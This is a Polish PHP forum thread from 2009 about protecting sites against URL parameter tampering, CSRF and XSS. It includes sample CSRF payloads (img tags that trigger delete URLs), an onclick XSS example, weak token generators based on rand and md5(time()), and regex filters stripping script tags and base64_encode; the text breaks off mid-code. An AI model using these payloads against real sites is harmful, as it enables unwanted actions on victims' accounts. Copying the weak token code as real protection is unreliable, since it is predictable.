Witam!

Pisałem już w innym wątku o mojej "metodzie" zabezpieczenia się przed eksperymentami polegającymi na wpisywaniu przez userów wartości lub znaków do paska url na danej stronie serwisu www. Moja metoda okazała się nieskuteczna i beznadziejna... :-( Może dobra na szarych, nieznających się na hakowaniu eksperymentatorów... :-)
Czy jest jakiś sposób (skuteczny) na to, żeby jak np. jesteśmy na stronce http://www.xxxx.pl/index.php?test=1&test2=2, to żeby nie można było RĘCZNIE WPISYWAĆ żadnych zmiennych do paska url. Nie chodzi mi o to, żeby sprawdzać pojedyńczo wpisane przez użytkownika wartości, tylko o to, żeby a priori była taka możliwość wykluczona :-)

Napisany przez: dr_bonzo 2.03.2009, 18:03:56

Cytat
Czy jest jakiś sposób (skuteczny) na to, żeby jak np. jesteśmy na stronce http://www.xxxx.pl/index.php?test=1&test2=2, to żeby nie można było RĘCZNIE WPISYWAĆ żadnych zmiennych do paska url. Nie chodzi mi o to, żeby sprawdzać pojedyńczo wpisane przez użytkownika wartości, tylko o to, żeby a priori była taka możliwość wykluczona :-)


Usun stronke z serwera, wylacz serwer dzieki czemu skutecznie zabezpieczysz sie przed danymi przesylanymi przez usera.

Zawsze tez mozesz powiedziec userom zeby nie wchodzili na twoja stronke, pokasowali przegladarki - przez co nie beda mogli modyfikowac tego URLa.


Po prostu: twoj pomysl jest idiotyczny, i twoim zadaniem jest zabezpieczyc skrypt tak zeby nie poniszczyl sie, danych, dla dowolnych zmiennych wpisanych przez usera w URL.

Napisany przez: mlattari 2.03.2009, 18:28:03

hmmm a dlaczego pomysł jest idiotyczny? Może coś niejasno się wyraziłem :-) Po kiego ma ktoś mi wpisywać jakieś zmienne ręcznie w pasku jak wejdzie na serwis? Czy np. na tym forum też trzeba to robić? Po co? Wiadomo co ma to na celu :-) Swoją drogą skrypt też musi mieć zabezpieczenia ale chciałem w ten sposób osiągnąć dodatkowy poziom zabezpieczenia właśnie przed idiotami i eksperymentatorami :-) Można czy nie?

Napisany przez: nospor 2.03.2009, 18:36:46

a niby w jaki sposob chcesz zablokowac uzytkownikowi jego pasek w przegladarce? jak ci sie uda to zablokuj mu jeszcze mozliwosc wyłączenia komputera winksmiley.jpg

A juz na powaznie: nie, nie mozna. Nawet jakby mozna bylo, to pamietaj ze do twojej stronki mozna wejść nie tylko z przegladarki...

Napisany przez: erix 2.03.2009, 18:39:15

Cytat
Swoją drogą skrypt też musi mieć zabezpieczenia ale chciałem w ten sposób osiągnąć dodatkowy poziom zabezpieczenia właśnie przed idiotami i eksperymentatorami :-)

Po to stosuje się sprawdzanie danych od użytkownika, aby ten poziom osiągnąć.

Sprawdzaj lepiej dane z formularzy, zmień miejsce przechowywania sesji, a nie tracisz czas na pierdoły. tongue.gif

Napisany przez: mlattari 2.03.2009, 19:17:40

chyba się nie rozumiemy.... nie mam zamiaru nikomu blokować paska url tylko chciałbym osiągną coś ala
if(!$_SERVER['HTTP_REFERER']) die() ale czego nie można w prosty sposób przeskoczyć....

chodzi o to żeby użytkownik ręcznie nie podmieniał mi zmiennych przekazywanych przez $_GET

zapewniam was, że sprawdzam i filtruje wszystko co użytkownik wpisze ale chciałbym to mieć dodatkowo

Napisany przez: erix 2.03.2009, 19:19:06

Cytat
chodzi o to żeby użytkownik ręcznie nie podmieniał mi zmiennych przekazywanych przez $_GET

Tak nie zrobisz. Nie da się, rozumiesz?

Jedyne wyjście - skoro już tak bardzo jesteś przewrażliwiony - to koduj adresy do postaci:
Kod
skrypt.php?OIUYDF987234987HIDFGH4J6H2J5H456H435H

i zapisuj tabelę linków odpowiadających tokenowi w sesji.

Napisany przez: mlattari 2.03.2009, 19:23:12

hehe no i o takie rozwiązanie mi chodziło i chyba coś takiego zastosuje :-)

Napisany przez: bełdzio 2.03.2009, 19:36:19

Cytat(mlattari @ 2.03.2009, 19:17:40 ) *
chyba się nie rozumiemy.... nie mam zamiaru nikomu blokować paska url tylko chciałbym osiągną coś ala
if(!$_SERVER['HTTP_REFERER']) die() ale czego nie można w prosty sposób przeskoczyć....

chodzi o to żeby użytkownik ręcznie nie podmieniał mi zmiennych przekazywanych przez $_GET

zapewniam was, że sprawdzam i filtruje wszystko co użytkownik wpisze ale chciałbym to mieć dodatkowo

spr referera nic Ci nie da

1. mozna go latwo zmanipulowac
2. niektore firewalle usuwaja referera z naglowkow
3. wchodzac na Twoja strone poprzez bezposrednie wpisanie jej adresu w pasku przegladarki skutkuje tym ze referer bedzie pusty tak wiec dostep do Twojej strony zostanie zablokowany

Napisany przez: rzymek01 2.03.2009, 21:14:19

Cytat(mlattari @ 2.03.2009, 19:23:12 ) *
hehe no i o takie rozwiązanie mi chodziło i chyba coś takiego zastosuje :-)


a nie uważasz, że to tylko dodatkowe obciążanie bazy danych ?

jak już przefiltrowałeś to cię buja co jest w get, post, session, czy cookie (:-smile.gif

Napisany przez: erix 2.03.2009, 21:43:55

Cytat
że to tylko dodatkowe obciążanie bazy danych ?

W sesji? tongue.gif na 90% ma w plikach, a w większości przypadków i tak w sesjach trzymane są tylko podstawowe informacje typu czas, SID, itp.

Poza tym, podobne rozwiązanie widziałem w panelu pewnego hostingu.

Napisany przez: mlattari 2.03.2009, 23:22:44

Cytat(bełdzio @ 2.03.2009, 19:36:19 ) *
spr referera nic Ci nie da

1. mozna go latwo zmanipulowac
2. niektore firewalle usuwaja referera z naglowkow
3. wchodzac na Twoja strone poprzez bezposrednie wpisanie jej adresu w pasku przegladarki skutkuje tym ze referer bedzie pusty tak wiec dostep do Twojej strony zostanie zablokowany


To chodzi o to, że mam pewne funkcje oparte na refererach i sprawdzające skąd ktoś gdzieś ląduje, i jak ktoś wejdzie na stronkę index.php, gdzie oczywiście nie ma kontroli referera bo to juz byłby absurd, to jak np. z tamtąd ląduje na stronce kasujcostam.php, to sprawdzam, czy ten ktoś tam wylądował z odpowiedniej podstrony a nie przez kombinacje, no i wywala go także jak coś próbuje zmienić w zmiennych z $_GET.

Napisany przez: bełdzio 2.03.2009, 23:36:52

kombinujesz smile.gif jak chcesz sie zabezpieczyc przed wywolywaniem url kasujacych dane z niewiadomego miejsca to poczytaj o CSRF np na http://www.beldzio.com/bezpieczenstwo-mechanizmu-sesji i generalnie o tokenach, doklejasz sobie do url kasujacego losowe znaki przez co otrzymujesz np usun_podstrone.php?id=4&token=fsd65fsd753, a następnie w usun_podstrone spr czy token z url == token z sesji smile.gif oczywiscie token jest zmieniany co odswiezenie skryptu

Napisany przez: mlattari 3.03.2009, 13:50:38

Dzieki :-) Chyba będę musiał poczytać :-)

Cytat(bełdzio @ 2.03.2009, 23:36:52 ) *
kombinujesz smile.gif jak chcesz sie zabezpieczyc przed wywolywaniem url kasujacych dane z niewiadomego miejsca to poczytaj o CSRF np na http://www.beldzio.com/bezpieczenstwo-mechanizmu-sesji i generalnie o tokenach, doklejasz sobie do url kasujacego losowe znaki przez co otrzymujesz np usun_podstrone.php?id=4&token=fsd65fsd753, a następnie w usun_podstrone spr czy token z url == token z sesji smile.gif oczywiscie token jest zmieniany co odswiezenie skryptu


Bawiłem się w takie tokeny w zabezpieczeniach typu captcha do komentarzy na serwisach. Hmm... zastanawiam się bo mam pewien serwis który muszę dobrze zabezpieczyć, czy zrobić w nim taką tokenową wędrówkę po całym serwisie.... Uważasz, że zabezpieczałoby to skutecznie przed 'lądowaniem na podstronach z niewłaściwego miejsca' ? czyli to o co mi wcześniej chodziło?

Napisany przez: bełdzio 3.03.2009, 14:01:31

Cytat(mlattari @ 3.03.2009, 13:50:38 ) *
Uważasz, że zabezpieczałoby to skutecznie przed 'lądowaniem na podstronach z niewłaściwego miejsca' ?


tak zalozmy ze wchodzisz na strone profil.php na ktorej jest link do strony usun_konto.php, parametrem tego linku jest token, teraz po wejsciu na strone usun_konto spr czy token z url jest taki sam jak w sesji, jesli tak to znaczy ze user kliknal na odpowiedni link na odpowiedniej stronie

Napisany przez: Kocurro 3.03.2009, 14:13:11

I oczywiście bełdzio dasz sobie czapkę z avatara zerwać, że żadna wtyczka przyśpieszająca przeglądanie stron nie postanowi odczytać z wyprzedzeniem strony usun.php?token=najlepszy_z_najlepszych i nie spowoduje usunięcia danych ?

Pozdr.
Łukasz

Napisany przez: bełdzio 3.03.2009, 14:38:21

generalnie to czapki nie oddam smile.gif a co do wtyczek sie nie wypowiem bo nie do konca wiem o jakie cudenka chodzi smile.gif

Napisany przez: Kocurro 3.03.2009, 14:47:57

Był temat na forum kiedy o tym rozmawialiśmy - nie wiem czy to przypadkiem nie był ten temat.

Napisany przez: ucho 3.03.2009, 14:51:56

To mogło by popsuć wiele rzeczy nie tylko przy korzystaniu z tokenów. Mam nadzieje, że żadna przeglądarka/wtyczka nie robi ładuje w tle innych linków niż oznaczone przez `rel="prefetch"`.

Napisany przez: erix 3.03.2009, 18:11:52

Cytat
wyprzedzeniem strony usun.php?token=najlepszy_z_najlepszych i nie spowoduje usunięcia danych ?

Nie w tym celu powstało zabezpieczenie przez CSRF - chodzi o to, aby np. nieświadoma osoba nie mogła kliknąć na złośliwie wysłany link typu plik.php?akcja=skasujProfil&confirm=1.

Napisany przez: marcio 3.03.2009, 19:07:04

Cytat
Nie w tym celu powstało zabezpieczenie przez CSRF - chodzi o to, aby np. nieświadoma osoba nie mogła kliknąć na złośliwie wysłany link typu plik.php?akcja=skasujProfil&confirm=1.

W sumie jak tak teraz pomyslalem ze maja racje nie wiedzialem ze tak sie mozna bronic przed CSRF.

Wyobrazcie sobie sytuacje jest sobie forum z takim bugiem i jest jakis temat powiedzymy ze forum ktore uzywaja to jakis open-source ktos podaje np link do usuwanie news'a z odpowiednim id ktorys z adminow klika i po news'ie ale gdy token ktory podal napastnik z linku jest inny do nicy z tego tongue.gif w sumie ciekawy jest i atak jak i obrona tongue.gif

Czy mozecie powiedziec jakies inne sytuacje?

Napisany przez: erix 3.03.2009, 23:04:06

A do wikipedii, to Waść zaglądał...? winksmiley.jpg

Napisany przez: marcio 3.03.2009, 23:17:34

Zagladac zagldalem ale nie zawsze w wikipedi jest duzo napisane w sumie jest napisane to sam co ja napisalem czytalem inne linki i atak polega tylko na tym co opisalem przynajmniej z tego co ja wywnioskowalem.

Mowicie zeby dodac mozliwosc takeigo tokena do wszystkich waznych akcji, bo w sumie atak jest latwiejszy do przeprowadzenia niz XSS z kradzieza cookie.

Napisany przez: mlattari 6.03.2009, 01:27:07

Cytat(bełdzio @ 3.03.2009, 14:01:31 ) *
tak zalozmy ze wchodzisz na strone profil.php na ktorej jest link do strony usun_konto.php, parametrem tego linku jest token, teraz po wejsciu na strone usun_konto spr czy token z url jest taki sam jak w sesji, jesli tak to znaczy ze user kliknal na odpowiedni link na odpowiedniej stronie


Wymyśliłem sobie coś takiego

  1. <?php
  2. function checktoken()  {
  3.  if($_SESSION['zeton']!=$_GET['token']) diee_close(); }
  4.  
  5. function generate_token() {
  6. $literki="abcdefghijklmnopqrstuwvxyzABCDEFGHIJKLMNOPQRSTUWVXYZ";
  7. $cyferki="0123456789";
  8. for($tokelen=1;$tokenlen<=32;$tokenlen++) {
  9.   $token.=http://www.php.net/substr($literki,http://www.php.net/rand(0,http://www.php.net/strlen($literki)-1),1).http://www.php.net/substr($cyferki,http://www.php.net/rand(0,http://www.php.net/strlen($cyferki)-1),1);  }
  10. $_SESSION['zeton']=$token;
  11. return $token; }
  12. ?>


no i oczywiście na początku skryptów daję
checktoken();
$token=generate_token();

i wklejam ?token={$token} do linków...

To chyba lepsze niż moje poprzednie (raczej rzeczywiście beznadziejne) rozwiązanie questionmark.gif?
Jeżeli to jest OK to będę musiał to dodać w kilku serwisach.... no i chyba przyda się linuchowy sed do pododawania tokena w linkach :-)

Napisany przez: marcio 6.03.2009, 15:10:05

Nie wiem co robi diee_close() ale jesli nic nie zwraca to moze nie dzialac bo troche nie ma sensu to raz a dwa to jakos kombinujesz ze sklejaniem ciagu i jeszcze nie bedzie on az taki losowy ja 2 dni temu napisac cos takiego jeszcze w praktyce nie uzywalem ale dzialac dziala:

  1. <?php
  2. function InitCsrfSession() {
  3.  
  4.  $InitLenght = http://www.php.net/rand(1,5);
  5.  $EndLenght = http://www.php.net/rand(10,20);
  6.  
  7.  return http://www.php.net/substr(http://www.php.net/md5(http://www.php.net/time()), $InitLenght,$EndLenght);
  8.  
  9. }
  10.  
  11.  
  12. function CheckCsrfSession($GetSession) {
  13.  
  14.  ($GetSession == $_SESSION['CSRF']) ? $bool = true : $bool =  false;
  15.  
  16.  return $bool;
  17.  
  18. }
  19.  
  20. //Przypisujesz
  21. http://www.php.net/session_start();
  22. $_SESSION['CSRF'] = InitCsrfSession();
  23. ?>

Napisany przez: mlattari 6.03.2009, 15:42:24

No masz racje :-) U mnie jest rzeczywiście mało losowo :-( Chyba będę musiał dodać coś z md5 tak jak u Ciebie. Dzięki za podpowiedź.

Napisany przez: erix 6.03.2009, 22:37:26

Cytat
no i chyba przyda się linuchowy sed do pododawania tokena w linkach :-)

http://pl.php.net/ob_start + http://pl.php.net/preg_replace

Napisany przez: marcio 7.03.2009, 16:51:50

Cytat(erix @ 6.03.2009, 22:37:26 ) *
http://pl.php.net/ob_start + http://pl.php.net/preg_replace

O co chodzi^^questionmark.gif

Napisany przez: mlattari 7.03.2009, 17:23:47

Prawdopodobnie można zbuforować zawartość stronki, podmienić określone wyrażenia i zapisać ponownie :-)

Napisany przez: erix 7.03.2009, 21:03:28

Tak, jak to robi mechanizm sesyjny dopisując SID w przypadku włączonego rewriter_tags. winksmiley.jpg

Napisany przez: looooonger 28.03.2009, 23:09:52

przejrzałem posty w tym temacie, i ogólnie to wszystkie mówią o trochę bardziej skomplikowanych sytuacjach niż te, z którą ja mam do czynienia tzn:

Strona jest praktycznie statyczna, a php używam tylko do zaincludowania nagłówka i stopki, ale nazwy plików nie pochodzą z posta/geta tylko są zahardcodowane. Czy ciągnie to za sobą jakieś niebezpieczeństwo? Wolę się upewnić. Drugie pytanie, czy mechanizm google search engine może wpłynąć na bezpieczeństwo strony? Uzywam go w ten sposób:

Na stroni z wynikami:

  1. <http://december.com/html/4/element/div.html id="cse-search-results"></http://december.com/html/4/element/div.html>
  2. <http://december.com/html/4/element/script.html type="text/javascript">
  3. var googleSearchIframeName = "cse-search-results";
  4. var googleSearchFormName = "cse-search-box";
  5. var googleSearchFrameWidth = 600;
  6. var googleSearchDomain = "www.google.com";
  7. var googleSearchPath = "/cse";
  8. </http://december.com/html/4/element/script.html>
  9. <http://december.com/html/4/element/script.html type="text/javascript" src="http://www.google.com/afsonline/show_afs_search.js"></http://december.com/html/4/element/script.html>

formatka wyszukiwarki:


  1. <http://december.com/html/4/element/form.html action="szukaj.php" id="cse-search-box">
  2. <http://december.com/html/4/element/div.html>
  3. <http://december.com/html/4/element/input.html type="hidden" name="cx" value="004632895002302782970:fakn9rzjcvi" />
  4. <http://december.com/html/4/element/input.html type="hidden" name="cof" value="FORID:11" />
  5. <http://december.com/html/4/element/input.html type="hidden" name="ie" value="UTF-8" />
  6. <http://december.com/html/4/element/input.html type="text" name="q" size="31" />
  7. <http://december.com/html/4/element/input.html type="submit" name="sa" value="Szukaj" />
  8. </http://december.com/html/4/element/div.html>
  9. </http://december.com/html/4/element/form.html>
  10.  
  11. <http://december.com/html/4/element/script.html type="text/javascript" src="http://www.google.com/coop/cse/brand?form=cse-search-box&lang=pl"></http://december.com/html/4/element/script.html>

Napisany przez: bełdzio 28.03.2009, 23:39:48

Cytat(looooonger @ 28.03.2009, 23:09:52 ) *
Czy ciągnie to za sobą jakieś niebezpieczeństwo? Wolę się upewnić. Drugie pytanie, czy mechanizm google search engine może wpłynąć na bezpieczeństwo strony?

ad1. poki nie pobierasz niczego z zewnatrz skryptu wsio jest ok
ad2. nie - no chyba ze Googla shakuja smile.gif

Napisany przez: nieraczek 11.04.2009, 17:05:38

Chciałem dowiedzieć się jak zabezpieczać się przed atakami CSRF więc zrobiłem testową aplikację do tego celu:
użytkownik może dodawać i usuwać znajomych oraz pisać komentarze a w nich umieszczać linki. Użytkownik może usunąć ze znajomych użytkownika klikając na link 'usuń' w swoim profilu w znajomych - na końcu linka jest podawany id znajomego do usunięcia:

  1. <http://december.com/html/4/element/a.html href="/profil/znajomi/usun/<?php echo $z->getIdentyfikator() ?>" >usuń ze znajomych</http://december.com/html/4/element/a.html>


Po kliknięciu w linka, id jest oczywiście zamieniane na liczbę całkowitą, jest sprawdzenie czy w ogóle podano id, czy użytkownik o takim id istnieje oraz czy zalogowany użytkownik, który chce usunąć znajomego ma w swoich znajomych użytkownika o danym id.

Użytkownik o id=2 ma w znajomych uzytkownika o id=4.

Jako użytkownika o id=999 dodałem komentarz:
"Bla, bla,<IMG src="/profil/znajomi/usun/4"> bla, bla"

Następnie zalogowałem się jako użytkownik o id=2 i wszedłem na stronę z tym komentarzem, w skutek czego nie zobaczyłem oczywiście obrazka a z moich znajomych został usunięty użytkownik o id=4 bez mojej wiedzy i zgody - klasyczny przykład ataku CSRF.

Wymyśliłem więc sobie, że żeby usunąć użytkownika ze znajomych trzeba to potwierdzić - do czego użyłem ajaxa:
  1. <http://december.com/html/4/element/a.html href="/profil/znajomi" onclick="potwierdzUsuniecieZnajomego(<?php echo $z->getIdentyfikator() ?>); " >usuń ze znajomych</http://december.com/html/4/element/a.html>


Po kliknięciu na linka wyskakuje messagebox z prośbą o potwierdzenie, w przypadku potwierdzenia do funkcji php z funkcji javascript jest przesyłany id użytkownika do usunięcia ze znajomych metodą post, w funkcji php jest sprawdzane czy żądanie przyszło metodą post itd. czego skutkiem jest usunięcie osoby ze znajomych.

Po wyłaczeniu w przeglądarce javascripta usunięcie uzytkownika ze znajomych nie jest możliwe, ale:
"Bla, bla,<IMG src="/profil/znajomi/usun/4"> bla, bla" już nie działa biggrin.gif biggrin.gif

Czy to wystarczające zabezpieczenie przed atakiem CSRF ?

Napisany przez: bełdzio 11.04.2009, 18:31:29

nie przeciez zamiast odwolywac sie do adresu /profil/znajomi/usun/4 moge odwolac sie do adresu strony z potwierdzeniem, wlasnie kopiuje na blogaska notke o csrf tak wiec rzuc okiem za jakies 5 - 10 min smile.gif

Napisany przez: nieraczek 24.05.2009, 11:54:39

bełdzio wielkie dzięki - dzięki Tobie nareszcie zrozumiałem jak zabezpieczać się przed tymi atakami smile.gif Super artykuł.

------------------
@edycja


Mam jeszcze pytanie odnośnie ataków CSRF - w przypadku linków usuwających coś z bazy danych wystarczy, że atakujący w komentarzu wpisze np.:

  1. <http://december.com/html/4/element/img.html src="http://adres.pl?usun=10" />

Ofiara po wejściu na tę stronę z takim wpisem usunie nieświadomie coś tam o id=10. W takim wypadku rozumiem doklejanie unikatowego tokena do linku i potem go sprawdzanie.

Natomiast nie bardzo rozumiem dodawania do formularza ukrytego pola z tokenem. Co atakujący miałby wpisać żeby ofiara po wejściu na stronę z tym niebezpiecznym wpisem została nieświadomie przekierowana na stronę z formularzem i nieświadomie kliknęła na button typu submit ? To jest chyba niemożliwe w przypadku formularzy ?

Napisany przez: bełdzio 24.05.2009, 14:09:23

wystarczy ze stworze na swojej stronie formularz z ukrytymi inputami i widocznym przyciskiem "WYgraj 100 000 pln"; user klika na button i na właściwy serwer przesyłane są dane, których autorem jest nasza ofiara smile.gif

Napisany przez: nieraczek 12.06.2009, 08:47:02

A jak macie formularze, np. żeby było bardziej obrazowo: formularz do wysyłania odpowiedzi na otrzymane prywatne wiadomości:

  1. <http://december.com/html/4/element/form.html method="post" action="/wyslij_odpowiedz/na_wiadomosc/68/do_uzytkownika/11">
  2. ..........
  3. </http://december.com/html/4/element/form.html>


To te numery - id w action można pozmieniać w dodatku do firefoxa: firebug. Więc po zatwierdzeniu formularza też należy sprawdzać czy dany użytkownik dostał wiadomość o danym id od danej osoby o danym id itd. ?

Napisany przez: pyro 12.06.2009, 08:52:23

Najprostszym zabezpieczeniem przed atakami CSRF jest poprostu dodawanie id sesji i sprawdzanie jej. Np:

  1. <?php
  2. /*
  3. ...
  4. tu wysylam jakis formularz i jako hidden daję id sesji
  5. ...
  6. */
  7.  
  8. if(http://www.php.net/empty($_POST['sess_id']) || $_POST['sess_id'] != http://www.php.net/session_id())
  9. {
  10. http://www.php.net/die('Czy napewno nie próbujesz mi zaszkodzić Panie majster?');
  11. }
  12. ?>

Napisany przez: nieraczek 12.06.2009, 10:15:28

Ale nie chodzi mi o ataki csrf tylko ataki wykonane programem firebug, dzięki któremu można dowolnie modyfikować kod html strony i dzięki temu zmieniać ID w akcji formularza, co w konsekwencji mego poprzedniego posta spowoduje wysłanie odpowiedzi do innej osoby niż nadawca danej wiadomości. Inny przykład to jak edytujemy dany post na jakimś forum i w akcji formularza za pomocą firebuga zmienimy ID to w ten sposób moglibyśmy zmodyfikować posta innej osoby jeśli po zatwierdzeniu formularza nie sprawdzimy czy dany użytkownik edytuje swój własny post ufając temu, że akcja formularza nie została zmieniona. Chodzi mi o to, że akcje formularza są tak samo niebezpieczne jak adresy URL i łatwe do modyfikacji programami typu firebug. Rozumie ktoś czy dać przykład ? tongue.gif

Napisany przez: Crozin 12.06.2009, 10:48:19

Rozumie. Tylko nie widzę pytania... bo na jedyne jakie postawiłeś sam sobie odpowiedziałeś.

Napisany przez: pyro 12.06.2009, 11:15:26

Dopisująć się do Crozina:

@nieraczek, wygląda na to, że gadasz sam ze sobą withstupidsmiley.gif

Napisany przez: bełdzio 12.06.2009, 16:06:41

Cytat(nieraczek @ 12.06.2009, 09:47:02 ) *
To te numery - id w action można pozmieniać w dodatku do firefoxa: firebug. Więc po zatwierdzeniu formularza też należy sprawdzać czy dany użytkownik dostał wiadomość o danym id od danej osoby o danym id itd. ?

jakie są ograniczenia na wysylanie prywatych wiadomosci? bo jesli moge wyslac do kazdego to co za problem czy klikne w jego profilu "napisz wiadomosc" czy sobie zmienie w formie?

Napisany przez: Crozin 12.06.2009, 16:44:03

@bełdzio: A co jak ustawisz ID użytkownika, które nie istnieje? W przypadku gdy masz ustawione klucze obce w tabeli piękny błąd wywali.
Poza tym luki, które nawet potencjalnie są niegroźne powinny być szybko poprawiane.

Napisany przez: bełdzio 12.06.2009, 19:49:04

Cytat(Crozin @ 12.06.2009, 17:44:03 ) *
@bełdzio: A co jak ustawisz ID użytkownika, które nie istnieje? W przypadku gdy masz ustawione klucze obce w tabeli piękny błąd wywali.
Poza tym luki, które nawet potencjalnie są niegroźne powinny być szybko poprawiane.

1. wyslanie wiadomosci do nieistniejacego usera to nie luka
2. co za problem przechwycic blad i obsluzyc go? co za problem przed wyslaniem spr czy user istnieje? insert ignore? smile.gif

Napisany przez: Zgredzik 13.06.2009, 17:04:20

Czesc, mam pytanie dotyczace tablicy $_POST. Wiec napisalem wyrazenie regularne ktorego uzywam w funkcji preg_match.

Kod
preg_match('#^[a-z0-9]{5,15}$#i',$_POST['dana'])

Wiec wyrazenie to sprawdza czy tablica $_POST['dana'] przechowuje wartosc alfanumeryczna o dlugosci od 5 do 15 znakow, funkcja zwraca false lub true w przypadku gdy zwroci true wartosc z tablicy POST chce umiescic w bazie danych. Czy ten preg_match uchroni mnie przed kazdym atakie z pola formularza o nazwie "dana"? Czy moze lepiej zastosowac ctype_alnum, strlen i po otrzymaniu TRUE bawic sie dalej z ta zmienna?

Bo tak na chlopski rozum to powinno bronic smile.gif

Napisany przez: cojack 17.06.2009, 21:58:36

Nie wiem było nie było, erix mnie już zbeształ że leniwy jestem i mi się szukać nie chce, to się odkupuje i kopie linkiem do funkcji zabezpieczającej przed atakami typu XSS:
http://snipplr.com/view/9596/secure-advanced-better-faster-function-for-removestrip-tagsantixss/

pozdro.

Napisany przez: nieraczek 18.06.2009, 07:10:59

A mogę wiedzieć w czym ta funkcja _Strip_Tag() podana przez cojacka w linku i inne tego typu funkcje pisane w tym wątku mają być lepsze od rdzennej strip_tags() napisanej przez osoby zajmujące się rozwojem języka PHP - osoby z wieloletnim, olbrzymim doświadczeniem oraz wiedzą ? Czyli jak rozumiem uważacie, że Wasza własna funkcja strip_tags() będzie lepsza od tej opracowanej przez ekspertów PHP ?

Napisany przez: cojack 18.06.2009, 14:12:05

Nie rozumiesz... strip_tags usuwa znaczniki html, http://pl2.php.net/strip_tags
a ten link co ja podałem wywala nam dodatkowo encje z linków. skrypty js etc..

Napisany przez: nieraczek 18.06.2009, 14:54:53

A po co wywalać skrypty js skoro strip_tags() sprawia, że te skrypty - a właściwie już nie skrypty przestają być groźne, np.:

  1. <?php
  2. http://www.php.net/echo http://www.php.net/strip_tags("<script>alert('test')</script>");
  3. ?>

daje nam: alert('test')

  1. <?php
  2. http://www.php.net/echo http://www.php.net/strip_tags("<a href='test'>test</a>");
  3. ?>

daje nam: test

Nie bardzo widzę zwiększenia bezpieczeństwa.

Napisany przez: erix 18.06.2009, 16:15:53

  1. <http://december.com/html/4/element/a.html href='test' onclick="alert('test');">test</http://december.com/html/4/element/a.html>

I Twoja teoria została obalona. tongue.gif

Chyba nie czytałeś tego wątku od początku...

Napisany przez: nieraczek 18.06.2009, 17:07:13

Nie bardzo rozumiem - zrobiłem specjalnie formularz żeby sprawdzić:

  1. <?php
  2. if(http://www.php.net/isset($_POST['przycisk']))
  3. {
  4. http://www.php.net/echo http://www.php.net/strip_tags($_POST['pole']);
  5. //echo $_POST['pole'];
  6. }
  7. ?>
  8.  
  9. <form action="index.php" method="post">
  10. <input name="pole" type="text" />
  11. <input name="przycisk" type="submit" />
  12. </form>


Bez uzycia strip_tags() dostaję link po kliknięciu na który wyskakuje mi alert, ALE po użyciu strip_tags() dostaję zwykły tekst 'test'. Więc ? tongue.gif

Napisany przez: Crozin 18.06.2009, 17:34:08

IMO strip_tags to jedna z durniejszych funkcji. Ktoś coś wpisuje, patrzy... a tu część tekstu ucięta. Zdecydowanie lepiej użyć http://pl.php.net/htmlspecialchars.

Napisany przez: nieraczek 18.06.2009, 17:43:14

Ok Crozin - ale istnieje w końcu coś co obali moją teorię o tym, że nie trzeba zastępować strip_tags() swoją własną bezpieczniejszą funkcją w stylu strip_tags() czy nie ? tongue.gif Wpisanie jakiego kodu w tym formularzu rozłożyłoby tę funkcję na łopatki ? tongue.gif

Napisany przez: kamil4u 18.06.2009, 17:44:53

Zdecydowanie jestem za ~Crozin-em , więcej w tym wątku: http://forum.php.pl/index.php?showtopic=119475

Napisany przez: nieraczek 18.06.2009, 17:53:30

Ale chodzi o to, że w całym tym wątku co kilka postów ludzie próbują pisać własne wersje tych dwóch funkcji: htmlspecialchars() i strip_tags() i podają swoje wersje tych funkcji - chciałbym więc po prostu dowiedzieć się w czym ich własne funkcje są bezpieczniejsze od tych opracowanych przez ekspertów PHP smile.gif

Napisany przez: erix 18.06.2009, 19:04:11

Cytat
Nie bardzo rozumiem - zrobiłem specjalnie formularz żeby sprawdzić:

Blah, pomyślałem o czym innym. [;

Napisany przez: nieraczek 18.06.2009, 19:20:49

"Blah, pomyślałem o czym innym. [; " - wiem o czym myślałeś, dlatego zrobiłem formularz ;] hehe biggrin.gif

Napisany przez: bełdzio 18.06.2009, 22:13:59

Cytat(nieraczek @ 18.06.2009, 18:53:30 ) *
Ale chodzi o to, że w całym tym wątku co kilka postów ludzie próbują pisać własne wersje tych dwóch funkcji: htmlspecialchars() i strip_tags() i podają swoje wersje tych funkcji - chciałbym więc po prostu dowiedzieć się w czym ich własne funkcje są bezpieczniejsze od tych opracowanych przez ekspertów PHP smile.gif

tru tru smile.gif w zdecydowanej wiekszosci przypadkow pisanie wlasnych systemow filtracji nie sprawdza sie na polu walki :-) zawsze pominie sie 1 rzecz i cale zabezpieczenie idzie sie walic :-)

tak wiec tak gdzie jest to niewskazane, a nawet niezalecane lepiej nie wymyslac swoich tworow smile.gif

kiedys zreszta pisalem o tym na blogu, ktorego jestem jedynym czytelnikiem http://www.beldzio.com/sens-tworzenia-wlasnych-systemow-filtracji ;-)

Napisany przez: WebCM 18.06.2009, 23:05:29

Cytat
ludzie próbują pisać własne wersje tych dwóch funkcji: htmlspecialchars() i strip_tags()
Napisałem na potrzeby skryptu CMS nakładkę na htmlspecialchars(), która zajmuje się jeszcze cenzurą słów - http://pastebin.pl/9298 - mam nadzieję, że to nie jest złe podejście. BTW nie implementuję zaawansowanych mechanizmów cenzury. smile.gif

Co do strip_tags - webmasterzy często nadużywają tej funkcji. Wywołują ją zamiast htmlspecialchars() i myślą, że ich skrypt jest teraz bezpieczny. Kod HTML pochodzący z zewnątrz należy po prostu zamienić na encje. Funkcja czasami się jednak przydaje - gdy trzeba wyświetlić czysty tekst bez formatowania i bez kodu HTML.

Napisany przez: cojack 19.06.2009, 15:27:48

Ale macie problemy, jak komuś jest potrzebne strip_tags to go użyje mi np do routingu jest potrzebny i go używam ile wlezie, w dodatku z joomli zakosiłem parę wyrażen regularnych, o to one winksmiley.jpg

  1. <?php
  2. if(http://www.php.net/preg_match('/mosConfig_[a-zA-Z_]{1,21}(=|%3D)/',$strInput))
  3.            {
  4.                $strInput = http://www.php.net/preg_replace('/mosConfig_[a-zA-Z_]{1,21}(=|%3D)/','',$strInput);
  5.            }
  6.            if(http://www.php.net/preg_match('/base64_encode.*(.*)/',$strInput))
  7.            {
  8.                $strInput = http://www.php.net/preg_replace('/base64_encode.*(.*)/','',$strInput);
  9.            }
  10.            if(http://www.php.net/preg_match('/(<|%3C).*script.*(>|%3E)/',$strInput))
  11.            {
  12.                $strInput = http://www.php.net/preg_replace('/(<|%3C).*script.*(>|%3E)/','',$strInput);
  13.            }
  14.            if(http://www.php.net/preg_match('/GLOBALS(=|[|%[0-9A-Z]{0,2})/',$strInput))
  15.            {
  16.                $strInput = http://www.php.net/preg_replace('/GLOBALS(=|[|%[0-9A-Z]{0,2})/','',$strInput);
  17.            }
  18.            if(http://www.php.net/preg_match('/_REQUEST(=|[|%[0-9A-Z]{0,2})/',$strInput))
  19.            {
